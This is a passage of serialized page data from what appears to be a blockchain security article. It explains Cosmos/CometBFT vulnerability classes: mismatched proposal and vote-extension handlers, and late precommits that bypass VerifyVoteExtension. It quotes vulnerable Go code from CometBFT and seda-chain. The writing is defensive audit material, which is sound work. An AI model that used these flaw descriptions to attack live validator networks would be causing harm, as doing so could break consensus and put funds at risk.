04,"children":83305},{"style":211},[83306],{"type":27,"value":828},{"type":21,"tag":198,"props":83308,"children":83309},{"style":226},[83310],{"type":27,"value":83311},"senderModule",{"type":21,"tag":198,"props":83313,"children":83314},{"style":1966},[83315],{"type":27,"value":36803},{"type":21,"tag":198,"props":83317,"children":83318},{"style":211},[83319],{"type":27,"value":828},{"type":21,"tag":198,"props":83321,"children":83322},{"style":226},[83323],{"type":27,"value":83324},"recipientAddr",{"type":21,"tag":198,"props":83326,"children":83327},{"style":1966},[83328],{"type":27,"value":79023},{"type":21,"tag":198,"props":83330,"children":83331},{"style":211},[83332],{"type":27,"value":658},{"type":21,"tag":198,"props":83334,"children":83335},{"style":1966},[83336],{"type":27,"value":83010},{"type":21,"tag":198,"props":83338,"children":83339},{"style":211},[83340],{"type":27,"value":828},{"type":21,"tag":198,"props":83342,"children":83343},{"style":226},[83344],{"type":27,"value":83345},"amt",{"type":21,"tag":198,"props":83347,"children":83348},{"style":1966},[83349],{"type":27,"value":79023},{"type":21,"tag":198,"props":83351,"children":83352},{"style":211},[83353],{"type":27,"value":658},{"type":21,"tag":198,"props":83355,"children":83356},{"style":1966},[83357],{"type":27,"value":83358},"Coins",{"type":21,"tag":198,"props":83360,"children":83361},{"style":211},[83362],{"type":27,"value":257},{"type":21,"tag":198,"props":83364,"children":83365},{"class":200,"line":236},[83366,83370,83374],{"type":21,"tag":198,"props":83367,"children":83368},{"style":211},[83369],{"type":27,"value":1541},{"type":21,"tag":198,"props":83371,"children":83372},{"style":1966},[83373],{"type":27,"value":15668},{"type":21,"tag":198,"props":83375,"children":83376},{"style":211},[83377],{"type":27,"value":233},{"type":21,"tag":198,"props":83379,"children":83380},{"class":200,"line":260},[83381],{"type":21,"tag":198,"props":83382,"children":83383},{"style":683},[83384],{"type":27,"value":83385}," ...\n",{"type":21,"tag":198,"props":83387,"children":83388},{"class":200,"line":281},[83389,83393,83397,83401,83405,83409,83413],{"type":21,"tag":198,"props":83390,"children":83391},{"style":640},[83392],{"type":27,"value":16591},{"type":21,"tag":198,"props":83394,"children":83395},{"style":226},[83396],{"type":27,"value":81638},{"type":21,"tag":198,"props":83398,"children":83399},{"style":211},[83400],{"type":27,"value":658},{"type":21,"tag":198,"props":83402,"children":83403},{"style":698},[83404],{"type":27,"value":82041},{"type":21,"tag":198,"props":83406,"children":83407},{"style":211},[83408],{"type":27,"value":706},{"type":21,"tag":198,"props":83410,"children":83411},{"style":226},[83412],{"type":27,"value":83324},{"type":21,"tag":198,"props":83414,"children":83415},{"style":211},[83416],{"type":27,"value":668},{"type":21,"tag":198,"props":83418,"children":83419},{"class":200,"line":302},[83420,83424,83429,83433,83437,83441,83445,83449,83454,83458,83463,83467,83471],{"type":21,"tag":198,"props":83421,"children":83422},{"style":640},[83423],{"type":27,"value":1886},{"type":21,"tag":198,"props":83425,"children":83426},{"style":226},[83427],{"type":27,"value":83428}," errorsmod",{"type":21,"tag":198,"props":83430,"children":83431},{"style":211},[83432],{"type":27,"value":658},{"type":21,"tag":198,"props":83434,"children":83435},{"style":698},[83436],{"type":27,"value":81292},{"type":21,"tag":198,"props":83438,"children":83439},{"style":211},[83440],{"type":27,"value":706},{"type":21,"tag":198,"props":83442,"children":83443},{"style":226},[83444],{"type":27,"value":80954},{"type":21,"tag":198,"props":83446,"children":83447},{"style":211},[83448],{"type":27,"value":658},{"type":21,"tag":198,"props":83450,"children":83451},{"style":226},[83452],{"type":27,"value":83453},"ErrUnauthorized",{"type":21,"tag":198,"props":83455,"children":83456},{"style":211},[83457],{"type":27,"value":828},{"type":21,"tag":198,"props":83459,"children":83460},{"style":205},[83461],{"type":27,"value":83462},"\"%s is not allowed to receive funds\"",{"type":21,"tag":198,"props":83464,"children":83465},{"style":211},[83466],{"type":27,"value":828},{"type":21,"tag":198,"props":83468,"children":83469},{"style":226},[83470],{"type":27,"value":83324},{"type":21,"tag":198,"props":83472,"children":83473},{"style":211},[83474],{"type":27,"value":789},{"type":21,"tag":198,"props":83476,"children":83477},{"class":200,"line":323},[83478],{"type":21,"tag":198,"props":83479,"children":83480},{"style":211},[83481],{"type":27,"value":1909},{"type":21,"tag":198,"props":83483,"children":83484},{"class":200,"line":344},[83485],{"type":21,"tag":198,"props":83486,"children":83487},{"style":683},[83488],{"type":27,"value":83385},{"type":21,"tag":198,"props":83490,"children":83491},{"class":200,"line":365},[83492],{"type":21,"tag":198,"props":83493,"children":83494},{"style":211},[83495],{"type":27,"value":1120},{"type":21,"tag":30,"props":83497,"children":83498},{},[83499,83501,83508],{"type":27,"value":83500},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":21,"tag":34,"props":83502,"children":83505},{"href":83503,"rel":83504},"https://hackerone.com/reports/3018307",[38],[83506],{"type":27,"value":83507},"improper decimal handling in the group module",{"type":27,"value":658},{"type":21,"tag":22,"props":83510,"children":83512},{"id":83511},"same-same-but-different",[83513],{"type":27,"value":83514},"Same, Same... But Different",{"type":21,"tag":30,"props":83516,"children":83517},{},[83518,83520,83526,83527,83533,83534,83540,83541,83547],{"type":27,"value":83519},"Cosmos exposes several consensus-level interfaces, such as ",{"type":21,"tag":194,"props":83521,"children":83523},{"className":83522},[],[83524],{"type":27,"value":83525},"PrepareProposal",{"type":27,"value":828},{"type":21,"tag":194,"props":83528,"children":83530},{"className":83529},[],[83531],{"type":27,"value":83532},"ProcessProposal",{"type":27,"value":828},{"type":21,"tag":194,"props":83535,"children":83537},{"className":83536},[],[83538],{"type":27,"value":83539},"ExtendVote",{"type":27,"value":7299},{"type":21,"tag":194,"props":83542,"children":83544},{"className":83543},[],[83545],{"type":27,"value":83546},"VerifyVoteExtension",{"type":27,"value":83548},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":21,"tag":30,"props":83550,"children":83551},{},[83552],{"type":27,"value":83553},"Two of the best-known attack surfaces are",{"type":21,"tag":71,"props":83555,"children":83556},{},[83557,83586],{"type":21,"tag":75,"props":83558,"children":83559},{},[83560,83565,83566,83571,83573,83578,83579,83584],{"type":21,"tag":194,"props":83561,"children":83563},{"className":83562},[],[83564],{"type":27,"value":83525},{"type":27,"value":648},{"type":21,"tag":194,"props":83567,"children":83569},{"className":83568},[],[83570],{"type":27,"value":83539},{"type":27,"value":83572},") outputs being rejected due to ",{"type":21,"tag":194,"props":83574,"children":83576},{"className":83575},[],[83577],{"type":27,"value":83532},{"type":27,"value":648},{"type":21,"tag":194,"props":83580,"children":83582},{"className":83581},[],[83583],{"type":27,"value":83546},{"type":27,"value":83585},") over-validating, resulting in liveness failures.",{"type":21,"tag":75,"props":83587,"children":83588},{},[83589,83591,83596,83597,83602,83604,83609,83610,83615],{"type":27,"value":83590},"Malicious proposals and vote extensions not created through the ",{"type":21,"tag":194,"props":83592,"children":83594},{"className":83593},[],[83595],{"type":27,"value":83525},{"type":27,"value":648},{"type":21,"tag":194,"props":83598,"children":83600},{"className":83599},[],[83601],{"type":27,"value":83539},{"type":27,"value":83603},") are accepted due to ",{"type":21,"tag":194,"props":83605,"children":83607},{"className":83606},[],[83608],{"type":27,"value":83532},{"type":27,"value":648},{"type":21,"tag":194,"props":83611,"children":83613},{"className":83612},[],[83614],{"type":27,"value":83546},{"type":27,"value":83616},") under-validating.",{"type":21,"tag":30,"props":83618,"children":83619},{},[83620],{"type":27,"value":83621},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":21,"tag":30,"props":83623,"children":83624},{},[83625,83627,83633,83635,83640],{"type":27,"value":83626},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":21,"tag":194,"props":83628,"children":83630},{"className":83629},[],[83631],{"type":27,"value":83632},"VoteExtensions",{"type":27,"value":83634}," within ",{"type":21,"tag":194,"props":83636,"children":83638},{"className":83637},[],[83639],{"type":27,"value":83525},{"type":27,"value":83641},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":21,"tag":30,"props":83643,"children":83644},{},[83645,83647,83652,83654,83659],{"type":27,"value":83646},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":21,"tag":194,"props":83648,"children":83650},{"className":83649},[],[83651],{"type":27,"value":83539},{"type":27,"value":83653}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":21,"tag":194,"props":83655,"children":83657},{"className":83656},[],[83658],{"type":27,"value":83546},{"type":27,"value":83660},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":21,"tag":30,"props":83662,"children":83663},{},[83664,83666,83671],{"type":27,"value":83665},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":21,"tag":194,"props":83667,"children":83669},{"className":83668},[],[83670],{"type":27,"value":83546},{"type":27,"value":83672}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":21,"tag":30,"props":83674,"children":83675},{},[83676,83678,83683,83685,83691],{"type":27,"value":83677},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":21,"tag":194,"props":83679,"children":83681},{"className":83680},[],[83682],{"type":27,"value":83546},{"type":27,"value":83684},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":21,"tag":194,"props":83686,"children":83688},{"className":83687},[],[83689],{"type":27,"value":83690},"Proposal",{"type":27,"value":658},{"type":21,"tag":187,"props":83693,"children":83695},{"code":83694,"language":76546,"meta":7,"className":76547,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[83696],{"type":21,"tag":194,"props":83697,"children":83698},{"__ignoreMap":7},[83699,83811,83818,83825,83833,83841,83925,83932,83940,83994,84001,84022,84029,84101,84117,84124,84198,84254,84261,84323,84330,84337,84356,84363,84370,84377],{"type":21,"tag":198,"props":83700,"children":83701},{"class":200,"line":201},[83702,83706,83710,83715,83719,83724,83728,83733,83737,83742,83746,83750,83754,83759,83763,83768,83773,83777,83782,83786,83791,83795,83799,83803,83807],{"type":21,"tag":198,"props":83703,"children":83704},{"style":249},[83705],{"type":27,"value":76682},{"type":21,"tag":198,"props":83707,"children":83708},{"style":211},[83709],{"type":27,"value":648},{"type":21,"tag":198,"props":83711,"children":83712},{"style":226},[83713],{"type":27,"value":83714},"cs ",{"type":21,"tag":198,"props":83716,"children":83717},{"style":683},[83718],{"type":27,"value":5383},{"type":21,"tag":198,"props":83720,"children":83721},{"style":1966},[83722],{"type":27,"value":83723},"State",{"type":21,"tag":198,"props":83725,"children":83726},{"style":211},[83727],{"type":27,"value":1541},{"type":21,"tag":198,"props":83729,"children":83730},{"style":698},[83731],{"type":27,"value":83732},"addVote",{"type":21,"tag":198,"props":83734,"children":83735},{"style":211},[83736],{"type":27,"value":706},{"type":21,"tag":198,"props":83738,"children":83739},{"style":226},[83740],{"type":27,"value":83741},"vote",{"type":21,"tag":198,"props":83743,"children":83744},{"style":683},[83745],{"type":27,"value":10626},{"type":21,"tag":198,"props":83747,"children":83748},{"style":1966},[83749],{"type":27,"value":6572},{"type":21,"tag":198,"props":83751,"children":83752},{"style":211},[83753],{"type":27,"value":658},{"type":21,"tag":198,"props":83755,"children":83756},{"style":1966},[83757],{"type":27,"value":83758},"Vote",{"type":21,"tag":198,"props":83760,"children":83761},{"style":211},[83762],{"type":27,"value":828},{"type":21,"tag":198,"props":83764,"children":83765},{"style":226},[83766],{"type":27,"value":83767},"peerID",{"type":21,"tag":198,"props":83769,"children":83770},{"style":1966},[83771],{"type":27,"value":83772}," p2p",{"type":21,"tag":198,"props":83774,"children":83775},{"style":211},[83776],{"type":27,"value":658},{"type":21,"tag":198,"props":83778,"children":83779},{"style":1966},[83780],{"type":27,"value":83781},"ID",{"type":21,"tag":198,"props":83783,"children":83784},{"style":211},[83785],{"type":27,"value":76764},{"type":21,"tag":198,"props":83787,"children":83788},{"style":226},[83789],{"type":27,"value":83790},"added",{"type":21,"tag":198,"props":83792,"children":83793},{"style":1966},[83794],{"type":27,"value":12860},{"type":21,"tag":198,"props":83796,"children":83797},{"style":211},[83798],{"type":27,"value":828},{"type":21,"tag":198,"props":83800,"children":83801},{"style":226},[83802],{"type":27,"value":1507},{"type":21,"tag":198,"props":83804,"children":83805},{"style":1966},[83806],{"type":27,"value":15681},{"type":21,"tag":198,"props":83808,"children":83809},{"style":211},[83810],{"type":27,"value":668},{"type":21,"tag":198,"props":83812,"children":83813},{"class":200,"line":217},[83814],{"type":21,"tag":198,"props":83815,"children":83816},{"style":683},[83817],{"type":27,"value":21134},{"type":21,"tag":198,"props":83819,"children":83820},{"class":200,"line":236},[83821],{"type":21,"tag":198,"props":83822,"children":83823},{"emptyLinePlaceholder":16},[83824],{"type":27,"value":1283},{"type":21,"tag":198,"props":83826,"children":83827},{"class":200,"line":260},[83828],{"type":21,"tag":198,"props":83829,"children":83830},{"style":1233},[83831],{"type":27,"value":83832}," // A precommit for the previous height?\n",{"type":21,"tag":198,"props":83834,"children":83835},{"class":200,"line":281},[83836],{"type":21,"tag":198,"props":83837,"children":83838},{"style":1233},[83839],{"type":27,"value":83840}," // These come in while we wait timeoutCommit\n",{"type":21,"tag":198,"props":83842,"children":83843},{"class":200,"line":302},[83844,83848,83853,83857,83862,83866,83870,83874,83879,83883,83887,83891,83895,83899,83904,83908,83912,83916,83921],{"type":21,"tag":198,"props":83845,"children":83846},{"style":640},[83847],{"type":27,"value":643},{"type":21,"tag":198,"props":83849,"children":83850},{"style":226},[83851],{"type":27,"value":83852}," vote",{"type":21,"tag":198,"props":83854,"children":83855},{"style":211},[83856],{"type":27,"value":658},{"type":21,"tag":198,"props":83858,"children":83859},{"style":226},[83860],{"type":27,"value":83861},"Height",{"type":21,"tag":198,"props":83863,"children":83864},{"style":683},[83865],{"type":27,"value":5193},{"type":21,"tag":198,"props":83867,"children":83868},{"style":2540},[83869],{"type":27,"value":134},{"type":21,"tag":198,"props":83871,"children":83872},{"style":683},[83873],{"type":27,"value":4089},{"type":21,"tag":198,"props":83875,"children":83876},{"style":226},[83877],{"type":27,"value":83878}," cs",{"type":21,"tag":198,"props":83880,"children":83881},{"style":211},[83882],{"type":27,"value":658},{"type":21,"tag":198,"props":83884,"children":83885},{"style":226},[83886],{"type":27,"value":83861},{"type":21,"tag":198,"props":83888,"children":83889},{"style":683},[83890],{"type":27,"value":1819},{"type":21,"tag":198,"props":83892,"children":83893},{"style":226},[83894],{"type":27,"value":83852},{"type":21,"tag":198,"props":83896,"children":83897},{"style":211},[83898],{"type":27,"value":658},{"type":21,"tag":198,"props":83900,"children":83901},{"style":226},[83902],{"type":27,"value":83903},"Type",{"type":21,"tag":198,"props":83905,"children":83906},{"style":683},[83907],{"type":27,"value":4089},{"type":21,"tag":198,"props":83909,"children":83910},{"style":226},[83911],{"type":27,"value":78557},{"type":21,"tag":198,"props":83913,"children":83914},{"style":211},[83915],{"type":27,"value":658},{"type":21,"tag":198,"props":83917,"children":83918},{"style":226},[83919],{"type":27,"value":83920},"PrecommitType",{"type":21,"tag":198,"props":83922,"children":83923},{"style":211},[83924],{"type":27,"value":233},{"type":21,"tag":198,"props":83926,"children":83927},{"class":200,"line":323},[83928],{"type":21,"tag":198,"props":83929,"children":83930},{"style":683},[83931],{"type":27,"value":82224},{"type":21,"tag":198,"props":83933,"children":83934},{"class":200,"line":344},[83935],{"type":21,"tag":198,"props":83936,"children":83937},{"style":1233},[83938],{"type":27,"value":83939}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":21,"tag":198,"props":83941,"children":83942},{"class":200,"line":365},[83943,83948,83952,83956,83960,83964,83968,83973,83977,83982,83986,83990],{"type":21,"tag":198,"props":83944,"children":83945},{"style":226},[83946],{"type":27,"value":83947}," added",{"type":21,"tag":198,"props":83949,"children":83950},{"style":211},[83951],{"type":27,"value":828},{"type":21,"tag":198,"props":83953,"children":83954},{"style":226},[83955],{"type":27,"value":1507},{"type":21,"tag":198,"props":83957,"children":83958},{"style":683},[83959],{"type":27,"value":979},{"type":21,"tag":198,"props":83961,"children":83962},{"style":226},[83963],{"type":27,"value":83878},{"type":21,"tag":198,"props":83965,"children":83966},{"style":211},[83967],{"type":27,"value":658},{"type":21,"tag":198,"props":83969,"children":83970},{"style":226},[83971],{"type":27,"value":83972},"LastCommit",{"type":21,"tag":198,"props":83974,"children":83975},{"style":211},[83976],{"type":27,"value":658},{"type":21,"tag":198,"props":83978,"children":83979},{"style":698},[83980],{"type":27,"value":83981},"AddVote",{"type":21,"tag":198,"props":83983,"children":83984},{"style":211},[83985],{"type":27,"value":706},{"type":21,"tag":198,"props":83987,"children":83988},{"style":226},[83989],{"type":27,"value":83741},{"type":21,"tag":198,"props":83991,"children":83992},{"style":211},[83993],{"type":27,"value":789},{"type":21,"tag":198,"props":83995,"children":83996},{"class":200,"line":386},[83997],{"type":21,"tag":198,"props":83998,"children":83999},{"style":683},[84000],{"type":27,"value":82224},{"type":21,"tag":198,"props":84002,"children":84003},{"class":200,"line":408},[84004,84008,84013,84017],{"type":21,"tag":198,"props":84005,"children":84006},{"style":640},[84007],{"type":27,"value":16547},{"type":21,"tag":198,"props":84009,"children":84010},{"style":226},[84011],{"type":27,"value":84012}," added",{"type":21,"tag":198,"props":84014,"children":84015},{"style":211},[84016],{"type":27,"value":828},{"type":21,"tag":198,"props":84018,"children":84019},{"style":226},[84020],{"type":27,"value":84021},"err\n",{"type":21,"tag":198,"props":84023,"children":84024},{"class":200,"line":429},[84025],{"type":21,"tag":198,"props":84026,"children":84027},{"style":211},[84028],{"type":27,"value":880},{"type":21,"tag":198,"props":84030,"children":84031},{"class":200,"line":450},[84032,84037,84041,84045,84049,84054,84058,84063,84067,84072,84076,84081,84085,84089,84093,84097],{"type":21,"tag":198,"props":84033,"children":84034},{"style":226},[84035],{"type":27,"value":84036}," extEnabled",{"type":21,"tag":198,"props":84038,"children":84039},{"style":683},[84040],{"type":27,"value":76798},{"type":21,"tag":198,"props":84042,"children":84043},{"style":226},[84044],{"type":27,"value":83878},{"type":21,"tag":198,"props":84046,"children":84047},{"style":211},[84048],{"type":27,"value":658},{"type":21,"tag":198,"props":84050,"children":84051},{"style":226},[84052],{"type":27,"value":84053},"state",{"type":21,"tag":198,"props":84055,"children":84056},{"style":211},[84057],{"type":27,"value":658},{"type":21,"tag":198,"props":84059,"children":84060},{"style":226},[84061],{"type":27,"value":84062},"ConsensusParams",{"type":21,"tag":198,"props":84064,"children":84065},{"style":211},[84066],{"type":27,"value":658},{"type":21,"tag":198,"props":84068,"children":84069},{"style":226},[84070],{"type":27,"value":84071},"Feature",{"type":21,"tag":198,"props":84073,"children":84074},{"style":211},[84075],{"type":27,"value":658},{"type":21,"tag":198,"props":84077,"children":84078},{"style":698},[84079],{"type":27,"value":84080},"VoteExtensionsEnabled",{"type":21,"tag":198,"props":84082,"children":84083},{"style":211},[84084],{"type":27,"value":706},{"type":21,"tag":198,"props":84086,"children":84087},{"style":226},[84088],{"type":27,"value":83741},{"type":21,"tag":198,"props":84090,"children":84091},{"style":211},[84092],{"type":27,"value":658},{"type":21,"tag":198,"props":84094,"children":84095},{"style":226},[84096],{"type":27,"value":83861},{"type":21,"tag":198,"props":84098,"children":84099},{"style":211},[84100],{"type":27,"value":789},{"type":21,"tag":198,"props":84102,"children":84103},{"class":200,"line":468},[84104,84108,84113],{"type":21,"tag":198,"props":84105,"children":84106},{"style":640},[84107],{"type":27,"value":643},{"type":21,"tag":198,"props":84109,"children":84110},{"style":226},[84111],{"type":27,"value":84112}," extEnabled",{"type":21,"tag":198,"props":84114,"children":84115},{"style":211},[84116],{"type":27,"value":233},{"type":21,"tag":198,"props":84118,"children":84119},{"class":200,"line":477},[84120],{"type":21,"tag":198,"props":84121,"children":84122},{"style":683},[84123],{"type":27,"value":82224},{"type":21,"tag":198,"props":84125,"children":84126},{"class":200,"line":494},[84127,84131,84135,84139,84143,84147,84151,84155,84159,84163,84167,84171,84175,84180,84184,84189,84193],{"type":21,"tag":198,"props":84128,"children":84129},{"style":640},[84130],{"type":27,"value":4079},{"type":21,"tag":198,"props":84132,"children":84133},{"style":226},[84134],{"type":27,"value":83852},{"type":21,"tag":198,"props":84136,"children":84137},{"style":211},[84138],{"type":27,"value":658},{"type":21,"tag":198,"props":84140,"children":84141},{"style":226},[84142],{"type":27,"value":83903},{"type":21,"tag":198,"props":84144,"children":84145},{"style":683},[84146],{"type":27,"value":4089},{"type":21,"tag":198,"props":84148,"children":84149},{"style":226},[84150],{"type":27,"value":78557},{"type":21,"tag":198,"props":84152,"children":84153},{"style":211},[84154],{"type":27,"value":658},{"type":21,"tag":198,"props":84156,"children":84157},{"style":226},[84158],{"type":27,"value":83920},{"type":21,"tag":198,"props":84160,"children":84161},{"style":683},[84162],{"type":27,"value":1819},{"type":21,"tag":198,"props":84164,"children":84165},{"style":683},[84166],{"type":27,"value":13670},{"type":21,"tag":198,"props":84168,"children":84169},{"style":226},[84170],{"type":27,"value":83741},{"type":21,"tag":198,"props":84172,"children":84173},{"style":211},[84174],{"type":27,"value":658},{"type":21,"tag":198,"props":84176,"children":84177},{"style":226},[84178],{"type":27,"value":84179},"BlockID",{"type":21,"tag":198,"props":84181,"children":84182},{"style":211},[84183],{"type":27,"value":658},{"type":21,"tag":198,"props":84185,"children":84186},{"style":698},[84187],{"type":27,"value":84188},"IsNil",{"type":21,"tag":198,"props":84190,"children":84191},{"style":211},[84192],{"type":27,"value":14850},{"type":21,"tag":198,"props":84194,"children":84195},{"style":683},[84196],{"type":27,"value":84197},"&&\n",{"type":21,"tag":198,"props":84199,"children":84200},{"class":200,"line":515},[84201,84206,84211,84215,84219,84223,84227,84231,84236,84240,84245,84249],{"type":21,"tag":198,"props":84202,"children":84203},{"style":683},[84204],{"type":27,"value":84205}," !",{"type":21,"tag":198,"props":84207,"children":84208},{"style":226},[84209],{"type":27,"value":84210},"bytes",{"type":21,"tag":198,"props":84212,"children":84213},{"style":211},[84214],{"type":27,"value":658},{"type":21,"tag":198,"props":84216,"children":84217},{"style":698},[84218],{"type":27,"value":82680},{"type":21,"tag":198,"props":84220,"children":84221},{"style":211},[84222],{"type":27,"value":706},{"type":21,"tag":198,"props":84224,"children":84225},{"style":226},[84226],{"type":27,"value":83741},{"type":21,"tag":198,"props":84228,"children":84229},{"style":211},[84230],{"type":27,"value":658},{"type":21,"tag":198,"props":84232,"children":84233},{"style":226},[84234],{"type":27,"value":84235},"ValidatorAddress",{"type":21,"tag":198,"props":84237,"children":84238},{"style":211},[84239],{"type":27,"value":828},{"type":21,"tag":198,"props":84241,"children":84242},{"style":226},[84243],{"type":27,"value":84244},"myAddr",{"type":21,"tag":198,"props":84246,"children":84247},{"style":211},[84248],{"type":27,"value":24793},{"type":21,"tag":198,"props":84250,"children":84251},{"style":1233},[84252],{"type":27,"value":84253},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":21,"tag":198,"props":84255,"children":84256},{"class":200,"line":4484},[84257],{"type":21,"tag":198,"props":84258,"children":84259},{"style":683},[84260],{"type":27,"value":82900},{"type":21,"tag":198,"props":84262,"children":84263},{"class":200,"line":4493},[84264,84268,84272,84276,84280,84285,84289,84293,84297,84302,84306,84311,84315,84319],{"type":21,"tag":198,"props":84265,"children":84266},{"style":226},[84267],{"type":27,"value":82718},{"type":21,"tag":198,"props":84269,"children":84270},{"style":683},[84271],{"type":27,"value":76798},{"type":21,"tag":198,"props":84273,"children":84274},{"style":226},[84275],{"type":27,"value":83878},{"type":21,"tag":198,"props":84277,"children":84278},{"style":211},[84279],{"type":27,"value":658},{"type":21,"tag":198,"props":84281,"children":84282},{"style":226},[84283],{"type":27,"value":84284},"blockExec",{"type":21,"tag":198,"props":84286,"children":84287},{"style":211},[84288],{"type":27,"value":658},{"type":21,"tag":198,"props":84290,"children":84291},{"style":698},[84292],{"type":27,"value":83546},{"type":21,"tag":198,"props":84294,"children":84295},{"style":211},[84296],{"type":27,"value":706},{"type":21,"tag":198,"props":84298,"children":84299},{"style":226},[84300],{"type":27,"value":84301},"context",{"type":21,"tag":198,"props":84303,"children":84304},{"style":211},[84305],{"type":27,"value":658},{"type":21,"tag":198,"props":84307,"children":84308},{"style":698},[84309],{"type":27,"value":84310},"TODO",{"type":21,"tag":198,"props":84312,"children":84313},{"style":211},[84314],{"type":27,"value":19178},{"type":21,"tag":198,"props":84316,"children":84317},{"style":226},[84318],{"type":27,"value":83741},{"type":21,"tag":198,"props":84320,"children":84321},{"style":211},[84322],{"type":27,"value":789},{"type":21,"tag":198,"props":84324,"children":84325},{"class":200,"line":4561},[84326],{"type":21,"tag":198,"props":84327,"children":84328},{"style":683},[84329],{"type":27,"value":82900},{"type":21,"tag":198,"props":84331,"children":84332},{"class":200,"line":4569},[84333],{"type":21,"tag":198,"props":84334,"children":84335},{"style":211},[84336],{"type":27,"value":1160},{"type":21,"tag":198,"props":84338,"children":84339},{"class":200,"line":4599},[84340,84344,84348,84352],{"type":21,"tag":198,"props":84341,"children":84342},{"style":211},[84343],{"type":27,"value":16582},{"type":21,"tag":198,"props":84345,"children":84346},{"style":640},[84347],{"type":27,"value":4122},{"type":21,"tag":198,"props":84349,"children":84350},{"style":640},[84351],{"type":27,"value":16591},{"type":21,"tag":198,"props":84353,"children":84354},{"style":211},[84355],{"type":27,"value":233},{"type":21,"tag":198,"props":84357,"children":84358},{"class":200,"line":4607},[84359],{"type":21,"tag":198,"props":84360,"children":84361},{"style":683},[84362],{"type":27,"value":82224},{"type":21,"tag":198,"props":84364,"children":84365},{"class":200,"line":4638},[84366],{"type":21,"tag":198,"props":84367,"children":84368},{"style":211},[84369],{"type":27,"value":880},{"type":21,"tag":198,"props":84371,"children":84372},{"class":200,"line":4646},[84373],{"type":21,"tag":198,"props":84374,"children":84375},{"style":683},[84376],{"type":27,"value":21134},{"type":21,"tag":198,"props":84378,"children":84379},{"class":200,"line":4706},[84380],{"type":21,"tag":198,"props":84381,"children":84382},{"style":211},[84383],{"type":27,"value":1120},{"type":21,"tag":30,"props":84385,"children":84386},{},[84387],{"type":27,"value":84388},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":21,"tag":59,"props":84390,"children":84392},{"id":84391},"real-world-examples-4",[84393],{"type":27,"value":77071},{"type":21,"tag":30,"props":84395,"children":84396},{},[84397,84399,84404,84406,84412,84414,84420],{"type":27,"value":84398},"An example of the bug we just described is shown here. ",{"type":21,"tag":194,"props":84400,"children":84402},{"className":84401},[],[84403],{"type":27,"value":83525},{"type":27,"value":84405}," only checks that each vote is properly signed by a validator in ",{"type":21,"tag":194,"props":84407,"children":84409},{"className":84408},[],[84410],{"type":27,"value":84411},"ValidateVoteExtension",{"type":27,"value":84413}," but does not verify it against the rules in ",{"type":21,"tag":194,"props":84415,"children":84417},{"className":84416},[],[84418],{"type":27,"value":84419},"VerifyVoteExtention.",{"type":27,"value":84421}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":21,"tag":30,"props":84423,"children":84424},{},[84425],{"type":21,"tag":34,"props":84426,"children":84429},{"href":84427,"rel":84428},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[38],[84430],{"type":27,"value":77121},{"type":21,"tag":187,"props":84432,"children":84434},{"code":84433,"language":76546,"meta":7,"className":76547,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n 